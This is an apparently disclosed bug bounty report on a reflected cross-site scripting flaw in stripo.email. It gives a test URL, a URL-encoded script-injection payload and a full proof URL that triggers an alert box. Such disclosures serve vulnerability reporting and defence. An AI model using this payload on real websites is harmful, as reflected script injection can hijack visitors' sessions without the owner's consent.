Stripo Inc · Report #714521
stripo.email reflected xss
Validstatus
mediumseverity
70upvotes
26 Dec 2019disclosed
How it was found
hello securitty team tested windows 10 and firefox 69.0.3 (64 bit)
test url: <https://stripo.email//templates/merry-christmas-email-template-winter-inspiration-gifts-flowers-industry >
payload: %3E%22%27%3E%3Cscript%3Ealert%281578%29%3C%2Fscript%3E
Proof Url :
https://stripo.email//templates/merry-christmas-email-template-winter-inspiration-gifts-flowers-industry%3E%22%27%3E%3Cscript%3Ealert%281578%29%3C%2Fscript%3E
Proof Url open firefox
{F608355}